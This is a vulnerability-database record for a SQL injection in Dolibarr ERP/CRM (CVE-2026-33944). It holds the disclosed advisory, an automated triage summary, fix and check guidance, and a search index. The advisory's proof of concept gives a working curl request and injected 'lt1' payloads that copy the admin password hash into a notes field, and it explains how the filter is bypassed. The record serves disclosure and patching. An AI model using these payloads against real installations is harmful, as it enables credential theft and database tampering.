{"id":"CVE-2026-33944","kind":"vulnerability","aliases":["CVE-2026-33944","GHSA-v5fq-cf5m-vwv7"],"related":[],"title":"Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter","description":"### Summary\n\n  A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated\n  directly into an SQL UPDATE statement in `societe/class/societe.class.php` at line 1672 without any escaping, type casting, or parameterized query binding.\n\n  An authenticated user with standard \"Third Party: Create/Edit\" permission can extract any data from the database, including password hashes, API keys, and all\n  business data.\n\n  Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.\n\n  ### Details\n\n  **Vulnerable code** (`societe/class/societe.class.php`, line 1672):\n  ```php\n  $sql .= \",localtax1_value =\".$this->localtax1_value;\n  ```\n\n  The value comes from `GETPOST('lt1', 'alpha')` (`societe/card.php`, line 1135). The only sanitization applied is `trim()` at line 1528 — no `(float)` cast, no\n  `$db->escape()`.\n\n  The `alpha` input filter strips HTML tags and double quotes but does **not** strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is\n   in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.\n\n  **Why the WAF does not block this:** Dolibarr's WAF (`waf.inc.php`) only checks SQL injection patterns in **GET** parameters, not POST. The POST-based `lt1`\n  parameter bypasses it entirely.\n\n  **The same vulnerability exists** for `localtax2_value` (parameter `lt2`) at line 1682.\n\n  Adjacent fields like `localtax1_assuj` are properly cast to `(int)`, showing the developers were aware of injection risk but missed these fields.\n\n  ### PoC\n\n  **Steps to reproduce:**\n\n  1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)\n  2. Log in with a user that has \"Third Parties: Create/Edit\" permission (standard user, not admin)\n  3. Create or open any existing Third Party (company) record\n  4. Click \"Edit\" on the company card to open the update form\n  5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:\n     - `localtax1assuj_value=1`\n     - `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`\n  6. Submit the form (server responds with HTTP 302 Found — successful update)\n  7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the \"Private Note\" field\n\n  **Verification:** `echo -n \"admin123\" | md5sum` → `0192023a7bbd73250516f069df18b500` (matches exfiltrated hash).\n\n**Figure 1 — Notes tab before exploitation (Private Note field is empty):**\n\n<img width=\"1372\" height=\"822\" alt=\"Notes tab after exploitation — admin password hash exfiltrated\"\nsrc=\"https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841\" />\n\n**Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:**\n\n<img width=\"1095\" height=\"732\" alt=\"22\" src=\"https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899\" />\n\n**Figure 3 — Burp Suite Repeater: request body with injected `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`:**\n\n<img width=\"1095\" height=\"727\" alt=\"33\" src=\"https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3\" />\n\n**Figure 4 — Notes tab after exploitation: Private Note now contains `0192023a7bbd73250516f069df18b500` (MD5 hash of admin password \"admin123\"):**\n\n<img width=\"1381\" height=\"819\" alt=\"1\" src=\"https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa\" />\n\n\n  **curl PoC:**\n  ```bash\n  curl -b cookies.txt \\\n    --data-urlencode \"action=update\" \\\n    --data-urlencode \"token=CSRF_TOKEN\" \\\n    --data-urlencode \"socid=1\" \\\n    --data-urlencode \"name=TestCompany\" \\\n    --data-urlencode \"status=1\" \\\n    --data-urlencode \"localtax1assuj_value=1\" \\\n    --data-urlencode \"lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)\" \\\n    --data-urlencode \"client=1\" \\\n    --data-urlencode \"typent_id=0\" \\\n    \"http://TARGET/societe/card.php?socid=1\"\n  ```\n\n  **Additional proof — arithmetic evaluation:**\n  Sending `lt1=3+4` results in `localtax1_value=7.0000` stored in the database. The expression was evaluated by the SQL engine, confirming injection.\n\n  **Additional proof — user count exfiltration:**\n  Sending `lt1=(SELECT COUNT(*) FROM llx_user)` results in `localtax1_value=1.0000`.\n\n  ### Impact\n\n  An attacker with basic \"Third Party: Create/Edit\" permission (standard user, not admin) can:\n\n  - **Read** any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)\n  - **Modify** any database record via additional SET clauses in the UPDATE injection\n  - **Escalate** to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)\n  - **Potentially achieve RCE** via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation\n\n  ### Suggested Fix\n\n  ```php\n  // societe.class.php, line 1528 — add (float) cast:\n  $this->localtax1_value = (float) price2num(trim($this->localtax1_value));\n\n  // societe.class.php, line 1672 — add (float) cast:\n  $sql .= \",localtax1_value =\".((float) $this->localtax1_value);\n  ```\n\n  Apply same fix for `localtax2_value` (lines 1529, 1682).\n\n  ### Credit\n\n  Please credit this finding to: **Grzegorz Tworek (F3715H) sec4check** (grzegorz.tworek@sec4check.pl)\n\n  ### References\n\n  A detailed write-up will be published after patch release at:\n  https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html\n\n  We kindly request including this URL in the CVE references.","summary":"The Third Party update form in Dolibarr concatenates the localtax1_value and localtax2_value POST parameters directly into an SQL UPDATE statement without escaping or casting. An authenticated user with Third Party create/edit permission can read database contents such as password hashes and modify records.","severity":"high","cvss":8.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"dolibarr/dolibarr","fixed":[],"affected":"<= 23.0.0","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["cwe-89","dolibarr","erp","package","php","self-hosted"],"not_affected_if":["no-third-party-edit-users","patched-version"],"how_to_check":"- Check the installed Dolibarr version with `composer show dolibarr/dolibarr` or the version shown in the admin footer; versions up to and including `23.0.0` are listed as affected.\n- Look at `societe/class/societe.class.php` around line 1672 for `$sql .= \",localtax1_value =\".$this->localtax1_value;` without a `(float)` cast.","fix":"- Dolibarr: upgrade past `23.0.0` once a fixed release is available (fixed version unknown from the sources).\n- Until patched, apply the suggested change: cast `localtax1_value` and `localtax2_value` with `(float)` at the assignment and at the SQL concatenation in `societe/class/societe.class.php`.\n- Rotate admin and user passwords and API keys if untrusted users had Third Party edit rights.","status":"open","published_at":"2026-10-27T13:29:25+00:00","first_seen_at":"2026-10-27T13:31:05+00:00","triaged_at":"2026-10-27T13:32:11+00:00","updated_at":"2026-10-27T13:32:11+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-27T13:32:11Z","model":"claude-haiku-5-5","output":{"fix":"- Dolibarr: upgrade past `23.0.0` once a fixed release is available (fixed version unknown from the sources).\n- Until patched, apply the suggested change: cast `localtax1_value` and `localtax2_value` with `(float)` at the assignment and at the SQL concatenation in `societe/class/societe.class.php`.\n- Rotate admin and user passwords and API keys if untrusted users had Third Party edit rights.","reach":"network","title":"Dolibarr: company update form lets authenticated users inject SQL","impact":"high","summary":"The Third Party update form in Dolibarr concatenates the localtax1_value and localtax2_value POST parameters directly into an SQL UPDATE statement without escaping or casting. An authenticated user with Third Party create/edit permission can read database contents such as password hashes and modify records.","category":"package","nicknames":[],"who_cares":["dolibarr","php","self-hosted","erp"],"confidence":0.8,"needs_auth":"yes","worst_case":"Attacker reads password hashes and business data from the database","analyst_note":"Find the fixed Dolibarr version and confirm the patch in the GHSA-v5fq-cf5m-vwv7 advisory at https://github.com/advisories/GHSA-v5fq-cf5m-vwv7.","how_to_check":"- Check the installed Dolibarr version with `composer show dolibarr/dolibarr` or the version shown in the admin footer; versions up to and including `23.0.0` are listed as affected.\n- Look at `societe/class/societe.class.php` around line 1672 for `$sql .= \",localtax1_value =\".$this->localtax1_value;` without a `(float)` cast.","needs_analyst":true,"not_affected_if":["no-third-party-edit-users","patched-version"],"who_is_affected":"Dolibarr ERP/CRM installations at version 23.0.0 or earlier where users hold the Third Party create/edit permission. The flaw is in the POST path of the company update form, which the WAF does not inspect, so standard non-admin users are the realistic attackers. Installations where only administrators can edit third parties face a smaller exposure.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.000954,"input_tokens":5654,"output_tokens":778,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':12A,20A '-33944':13A,21A '-89':24B '0192023a7bbd73250516f069df18b500':435C,500C '1':315C,382C,384C,395C,440C,475C,478C,489C,528C,538C,544C,549C '10.11':158C,325C '1135':187C '1528':196C '1672':110C,170C '1682':288C '2':326C,451C '3':342C,465C '302':404C,461C '4':352C,491C '5':364C '6':396C '7':408C 'action':516C 'add':373C 'adjac':289C 'admin':341C,417C,504C 'admin123':433C,506C 'alpha':184C,204C 'api':139C 'appli':191C 'around':236C 'assuj':293C 'attack':240C 'authent':59B,121C 'awar':303C 'b':511C 'base':271C 'bash':509C 'bind':119C 'block':252C 'bodi':379C,470C 'burp':370C,452C,466C 'busi':143C 'bypass':274C 'card':358C 'cast':57B,115C,199C,296C 'cf5m':17A 'charact':246C 'check':259C 'click':353C 'code':167C 'come':180C 'comma':220C 'compani':87C,350C,357C,412C 'concaten':39B,99C 'configur':164C 'contain':499C 'content':69B 'context':233C 'cookies.txt':512C 'creat':343C 'create/edit':64B,127C,336C 'crypt':389C,483C,554C 'csrf':522C 'curl':507C,510C 'custom':160C 'cve':11A,19A 'cwe':23B 'data':132C,144C,514C,519C,525C,530C,535C,540C,546C 'data-urlencod':513C,518C,524C,529C,534C,539C,545C 'databas':68B,135C 'db':201C 'default':151C 'detail':165C 'develop':301C 'direct':48B,100C 'docker':155C,322C 'dolibarr':1A,25B,38B,91C,147C,254C,317C 'dolibarr/dolibarr':22A 'doubl':211C 'e.g':369C 'echo':431C 'edit':354C 'empti':449C 'entir':276C 'erp':26B 'erp/crm':92C 'escap':55B,113C,202C 'exfiltr':437C 'exist':82C,280C,347C 'exploit':444C,495C 'extract':130C 'field':290C,310C,429C,447C 'figur':439C,450C,464C,490C 'filter':206C,245C 'float':198C 'form':36B,363C,399C 'found':405C,462C 'full':455C 'function':89C 'get':264C 'getpost':182C 'ghsa':15A 'ghsa-v5fq-cf5m-vwv7':14A 'hash':73B,138C,421C,438C,502C 'header':458C 'host':31B 'html':208C 'http':403C,460C 'imag':156C,323C 'includ':136C 'inject':4A,80C,226C,261C,305C,472C 'input':205C 'instal':152C,316C 'int':298C 'intercept':365C 'key':140C 'keyword':223C 'latest':149C 'like':291C 'line':109C,169C,186C,195C,287C 'llx':391C,485C 'localtax1':8A,41B,94C,173C,176C,292C 'localtax1assuj':380C,473C,542C 'localtax2':44B,282C 'log':327C 'lt1':97C,183C,272C,383C,477C,548C 'lt2':285C 'mariadb':157C,324C 'match':436C 'md5':419C,501C 'md5sum':434C 'miss':308C 'modifi':75B,163C 'modul':161C 'n':432C 'name':532C 'navig':409C 'need':241C 'none':242C 'note':385C,414C,428C,441C,446C,479C,492C,497C,550C 'numer':231C 'offici':154C,321C 'open':345C,360C 'packag':27B 'paramet':10A,47B,96C,265C,273C,284C,375C 'parameter':117C 'parenthes':219C 'parti':34B,63B,86C,126C,335C,349C 'pass':388C,482C,553C 'password':72B,137C,420C,505C 'pattern':262C 'permiss':65B,128C,337C 'php':28B,171C 'poc':311C,508C 'point':227C 'post':46B,267C,270C,367C,456C 'post-bas':269C 'privat':386C,427C,445C,480C,496C,551C 'proper':295C 'queri':118C 'quot':212C,218C,235C 'read':67B 'record':76B,351C 'repeat':454C,468C 'reproduc':314C 'request':368C,378C,457C,469C 'respond':401C 'respons':463C 'risk':306C 'rowid':394C,488C 'sanit':190C 'select':387C,481C,552C 'self':30B 'self-host':29B 'server':400C 'show':299C 'sinc':224C 'singl':217C 'socid':527C 'societe/card.php':185C 'societe/class/societe.class.php':6A,107C,168C 'sql':3A,51B,79C,103C,172C,222C,232C,260C 'stabl':150C 'standard':124C,338C 'statement':53B,105C 'status':537C 'step':312C 'strip':207C,216C 'submit':397C 'success':406C 'suit':371C,453C,467C 'summari':77C 'tab':415C,442C,493C 'tag':209C 'test':145C,319C 'testcompani':533C 'third':33B,62B,85C,125C,334C,348C 'token':521C,523C 'trim':193C 'type':114C 'updat':35B,52B,88C,104C,362C,407C,517C 'urlencod':515C,520C,526C,531C,536C,541C,547C 'user':60B,122C,331C,339C,392C,486C 'v23.0.0':148C,318C 'v5fq':16A 'valu':9A,42B,45B,95C,174C,177C,179C,238C,283C,381C,474C,543C 'verif':430C 'via':7A,153C 'visibl':424C 'vulner':81C,166C,279C 'vwv7':18A 'waf':249C,256C 'waf.inc.php':257C 'without':54B,111C","nicknames":[],"mitigations":[],"who_affected":"Dolibarr ERP/CRM installations at version 23.0.0 or earlier where users hold the Third Party create/edit permission. The flaw is in the POST path of the company update form, which the WAF does not inspect, so standard non-admin users are the realistic attackers. Installations where only administrators can edit third parties face a smaller exposure.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-27T13:29:25+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-v5fq-cf5m-vwv7","url":"https://github.com/advisories/GHSA-v5fq-cf5m-vwv7","severity":"high","published_at":"2026-10-27T13:29:25+00:00","modified_at":"2026-10-27T13:29:27+00:00","first_seen_at":"2026-10-27T13:31:05+00:00","fetched_at":"2026-10-27T13:31:05+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}